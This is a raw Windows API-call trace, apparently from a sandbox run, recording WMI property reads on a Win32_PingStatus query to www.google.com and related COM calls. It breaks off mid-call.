IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5d68*=0, plFlavor=0x24b5d6c*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b5d68*=8, plFlavor=0x24b5d6c*=64) returned 0x0 [0142.468] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.468] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.468] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5db4*=0, plFlavor=0x24b5db8*=0 | out: pVal=0x59ee858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b5db4*=8, plFlavor=0x24b5db8*=64) returned 0x0 [0142.468] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.468] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.468] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee89c | out: puCount=0x59ee89c*=0x2) returned 0x0 [0142.468] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0x0, pszText=0x0 | out: puBuffLength=0x59ee898*=0xf, pszText=0x0) returned 0x0 [0142.468] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee898*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.468] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ResponseTime", lFlags=0, pVal=0x59ee898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b5fec*=0, plFlavor=0x24b5ff0*=0 | out: pVal=0x59ee898*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x24b5fec*=19, plFlavor=0x24b5ff0*=0) returned 0x0 [0142.469] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.469] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.469] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.469] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0142.469] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0142.469] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.469] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0142.469] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.469] SafeArrayGetDim (psa=0x507510) returned 0x1 [0142.469] SafeArrayGetLBound (in: psa=0x507510, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0142.469] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.469] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.469] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.469] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.469] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.469] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.469] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.469] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.469] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.470] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.470] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.470] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.470] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.470] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.470] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.470] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.470] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.470] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.470] SysStringByteLen (bstr="__PATH") returned 0xc [0142.470] SysStringByteLen (bstr="__PATH") returned 0xc [0142.470] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b63a0*=0, plFlavor=0x24b63a4*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b63a0*=3, plFlavor=0x24b63a4*=64) returned 0x0 [0142.470] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b63d4*=0, plFlavor=0x24b63d8*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b63d4*=8, plFlavor=0x24b63d8*=64) returned 0x0 [0142.470] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.471] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.471] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b642c*=0, plFlavor=0x24b6430*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b642c*=8, plFlavor=0x24b6430*=64) returned 0x0 [0142.471] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6454*=0, plFlavor=0x24b6458*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b6454*=8, plFlavor=0x24b6458*=64) returned 0x0 [0142.471] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.471] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.471] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b64ac*=0, plFlavor=0x24b64b0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b64ac*=8, plFlavor=0x24b64b0*=64) returned 0x0 [0142.471] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.471] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.472] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6694*=0, plFlavor=0x24b6698*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b6694*=3, plFlavor=0x24b6698*=64) returned 0x0 [0142.472] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b66c8*=0, plFlavor=0x24b66cc*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b66c8*=8200, plFlavor=0x24b66cc*=64) returned 0x0 [0142.472] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b66fc*=0, plFlavor=0x24b6700*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b66fc*=8, plFlavor=0x24b6700*=64) returned 0x0 [0142.472] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.472] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.473] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6748*=0, plFlavor=0x24b674c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b6748*=8, plFlavor=0x24b674c*=64) returned 0x0 [0142.473] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.473] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.473] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6794*=0, plFlavor=0x24b6798*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b6794*=8, plFlavor=0x24b6798*=64) returned 0x0 [0142.473] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.473] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.473] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0142.473] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0142.473] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.473] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ResponseTime", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b69cc*=0, plFlavor=0x24b69d0*=0 | out: pVal=0x59ee8cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x24b69cc*=19, plFlavor=0x24b69d0*=0) returned 0x0 [0142.474] IWbemClassObject:Get (in: This=0x4f480a0, wszName="ResponseTime", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b69cc*=19, plFlavor=0x24b69d0*=0 | out: pVal=0x59ee980*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), pType=0x24b69cc*=19, plFlavor=0x24b69d0*=0) returned 0x0 [0142.474] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.474] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.474] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.474] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.474] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.474] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.474] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0142.474] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.474] SafeArrayGetDim (psa=0x507540) returned 0x1 [0142.474] SafeArrayGetLBound (in: psa=0x507540, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0142.475] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.475] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.475] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.475] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.475] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.475] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.475] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.475] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.475] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.475] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.475] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.475] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.475] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.475] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.475] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.475] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.475] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.475] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.476] SysStringByteLen (bstr="__PATH") returned 0xc [0142.476] SysStringByteLen (bstr="__PATH") returned 0xc [0142.476] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6e78*=0, plFlavor=0x24b6e7c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b6e78*=3, plFlavor=0x24b6e7c*=64) returned 0x0 [0142.476] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6eac*=0, plFlavor=0x24b6eb0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b6eac*=8, plFlavor=0x24b6eb0*=64) returned 0x0 [0142.476] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.476] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.476] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6f04*=0, plFlavor=0x24b6f08*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6f04*=8, plFlavor=0x24b6f08*=64) returned 0x0 [0142.476] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6f2c*=0, plFlavor=0x24b6f30*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b6f2c*=8, plFlavor=0x24b6f30*=64) returned 0x0 [0142.477] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.477] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.477] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b6f84*=0, plFlavor=0x24b6f88*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b6f84*=8, plFlavor=0x24b6f88*=64) returned 0x0 [0142.477] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.477] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.477] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7160*=0, plFlavor=0x24b7164*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b7160*=3, plFlavor=0x24b7164*=64) returned 0x0 [0142.478] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7194*=0, plFlavor=0x24b7198*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507570*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b7194*=8200, plFlavor=0x24b7198*=64) returned 0x0 [0142.478] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b71c8*=0, plFlavor=0x24b71cc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b71c8*=8, plFlavor=0x24b71cc*=64) returned 0x0 [0142.478] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.478] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.478] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7214*=0, plFlavor=0x24b7218*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b7214*=8, plFlavor=0x24b7218*=64) returned 0x0 [0142.478] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.478] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.478] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7260*=0, plFlavor=0x24b7264*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b7260*=8, plFlavor=0x24b7264*=64) returned 0x0 [0142.479] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.479] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.479] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0142.479] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0142.479] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.480] IWbemClassObject:Get (in: This=0x4f480a0, wszName="WriteErrorStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7498*=0, plFlavor=0x24b749c*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7498*=0, plFlavor=0x24b749c*=0) returned 0x80041002 [0142.480] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0142.482] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b4e8) returned 0x0 [0142.482] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0142.482] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b4e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b4f8) returned 0x0 [0142.482] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4e8) returned 0x0 [0142.482] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4f8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b4f8) returned 0x0 [0142.482] WbemStatusCodeText:IUnknown:QueryInterface (in: 